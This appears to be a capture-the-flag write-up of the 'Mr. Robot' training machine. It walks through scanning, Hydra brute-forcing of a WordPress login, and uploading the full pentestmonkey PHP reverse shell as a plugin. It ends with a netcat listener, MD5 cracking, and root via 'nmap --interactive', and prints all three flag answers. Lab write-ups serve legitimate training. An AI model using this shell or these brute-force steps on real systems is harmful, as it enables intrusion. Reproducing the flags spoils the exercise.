Hack the machine
Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?
First, let’s try some basic nmap scan:
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vladislav@Mac ~ % nmap -sV -sC 10.10.243.162
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-14 12:20 MSK
Nmap scan report for 10.10.243.162
Host is up (0.066s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.15 seconds
We see a website on port 80. So let’s try to find some hidden subpages:
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vladislav@Mac ~ % gobuster dir -u http://10.10.243.162 -w share/wordlists/dirs/directory-list-2.3-medium.txt -t 100 -o result_gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.243.162
[+] Method: GET
[+] Threads: 100
[+] Wordlist: share/wordlists/dirs/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/12/14 12:56:03 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 236] [--> http://10.10.243.162/images/]
/blog (Status: 301) [Size: 234] [--> http://10.10.243.162/blog/]
/sitemap (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.243.162/video/]
/login (Status: 302) [Size: 0] [--> http://10.10.243.162/wp-login.php]
/rss (Status: 301) [Size: 0] [--> http://10.10.243.162/feed/]
/0 (Status: 301) [Size: 0] [--> http://10.10.243.162/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.243.162/feed/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.243.162/wp-content/]
/image (Status: 301) [Size: 0] [--> http://10.10.243.162/image/]
/admin (Status: 301) [Size: 235] [--> http://10.10.243.162/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.243.162/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.243.162/audio/]
/intro (Status: 200) [Size: 516314]
/css (Status: 301) [Size: 233] [--> http://10.10.243.162 css/]
/wp-login (Status: 200) [Size: 2671]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.243.162/feed/]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.243.162/wp-includes/]
/js (Status: 301) [Size: 232] [--> http://10.10.243.162/js/]
/Image (Status: 301) [Size: 0] [--> http://10.10.243.162/Image/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.243.162/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.243.162/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
Going throught subpages that returned 200 we can find subpage robots. There we are listed some files:
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User-agent: *
fsocity.dic
key-1-of-3.txt
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wget http://10.10.243.162/fsocity.dic
Going to 10.10.243.162/key-1-of-3.txt we can find the first flag.
What is key 1?
073403c8a58a1f80d943455fb30724b9
Next we can find a 10.10.243.162/wp-login subpage which contains a wordpress login page.
Let’s try to find login using found dictionary:. First, let’s intercept the login with Burp Suite:
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POST /wp-login.php HTTP/1.1
Host: 10.10.243.162
Content-Length: 100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.243.162
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.243.162/wp-login
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
log=vlad&pwd=pass&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.243.162%2Fwp-admin%2F&testcookie=1
Now using hydra:
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hydra -L fsocity.dic -p pass 10.10.243.162 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.175.84%2Fwp-admin%2F&testcookie=1:F=Invalid username"
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vladislav@Mac ~ % hydra -L fsocity.dic -p pass 10.10.243.162 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.175.84%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-14 13:14:42
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://10.10.243.162:80/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.175.84%2Fwp-admin%2F&testcookie=1:F=Invalid username
[80][http-post-form] host: 10.10.243.162 login: Elliot password: pass
We got the username Elliot. Now let’s bruteforce the password.
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hydra -l Elliot -P fsocity.dic 10.10.243.162 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.175.84%2Fwp-admin%2F&testcookie=1:S=302"
Finally we bruteforced the pass: ER28–0652.
After logging and searching for some interesting we can find that we can upload plugins for Wordpress, so let’s upload reverse shell this way:
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<?php
/*
Plugin Name: Reverse Shell
Plugin URI: http://shell.com
Description: gimme a shell
Version: 1.0
Author: me
Author URI: http://www.me.com
Text Domain: shell
Domain Path: /languages
*/
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.18.84.204'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
We can upload only zip files so we zip this file. Then we start a netcat listener:
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netcat -lvp 444
After activating the plugin we get the reverse shell.
At /home/robot we can find two files:
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daemon@linux:/home/robot$ ls
key-2-of-3.txt password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
It’s pretty evident that this is login and some hashed password with md5. Using hashcat:
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hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
The cracked password is: c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz.
Now switching user to robot and reading file: 822c73956184f694993bede3eb39f959
What is key 2?
822c73956184f694993bede3eb39f959
Moreover, we had to upgrade our shell using python:
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python -c 'import pty; pty.spawn("/bin/bash")'
Using LinEnum I found out that nmap is installed on this machine, so we can run the following code to get root shell:
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nmap --interactive
!sh
What is key 3?
04787ddef27c3dee1ee161b21670b4e4